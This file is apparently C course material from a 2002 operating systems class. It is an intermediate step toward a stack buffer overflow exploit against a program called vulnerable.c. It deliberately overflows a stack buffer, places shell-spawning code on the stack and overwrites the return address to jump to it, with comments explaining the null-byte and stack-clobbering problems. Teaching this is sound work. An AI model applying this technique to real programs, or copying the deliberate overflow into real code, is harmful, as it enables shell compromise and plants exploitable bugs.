/* file: experiment4.c ------------------- author: Ted Baker version: $Version$ last modified by: $Author: cop4610 $ on: $Date: 2002/08/21 19:27:43 $ purpose: intermediate step between experiment3.c and exploit.c Our intended line of attack on the program vulnerable.c is to pass it a tricky value of argv[1], which we will call the "payload". The program will copy the payload into a buffer using strcpy. The buffer will overflow, overwriting the return address. Later, when the program executes a "return" instruction, it will jump into our code embedded in the payload. The code in the payload will do a sytem call to exec the program we want, which in this case is a shell. One difficulty with this attack is that strcpy() will stop when it sees the first null byte. To make sure the entire payload is copied, we need to design it with no null bytes. The code of "execwrapper" was designed to avoid null bytes. We need to make sure the rest of the payload contains no null bytes. A larger difficulty with this attack is that we can't just selectively overwrite the parts of the stack that we want. The victim program will overwrite everything on the stack, starting from the beginning of the buffer. Besides the return address, it will overwrite all the local variables, parameters, saved registers, and stuff further down the stack. If the program references any of these before it executes the return instruction, the process is likely to terminate abnormally, typically with a segmentation violation or bus error exception. */ #include #include #include #include #include "execwrapper.i" #define SAFETY_MARGIN 32 #define RETURN_ADDRESS_OFFSET 28 char const * arg; void sub () { char buf[10]; int i; /* eliminate any null bytes, which may prematurely terminate strcpy */ for (i = 0; i < SAFETY_MARGIN + EXECWRAPPER_SIZE; i++) if (buf[i] == 0) buf[i] = 144; /* copy execwrapper code onto stack via overflow of buf */ strncpy (buf + SAFETY_MARGIN, (char *) execwrapper, EXECWRAPPER_SIZE); /* overwrite return address with entry point address of execwrapper */ *((int *) &buf[RETURN_ADDRESS_OFFSET]) = (int) (buf + SAFETY_MARGIN); /* dump out the content of buf, including the payload */ for (i = 0; i <= ((SAFETY_MARGIN + EXECWRAPPER_SIZE) / sizeof (int)) + 1; i++) fprintf (stderr, "%10x\n", *(int *) (buf + i*sizeof (int))); fprintf (stderr, "%s\n", buf); } int main (int argc, const char **argv) { if (argc != 2) { fprintf (stderr, "this program expects a single command-line argument\n"); exit (-1); } arg = argv[1]; sub (); return 0; }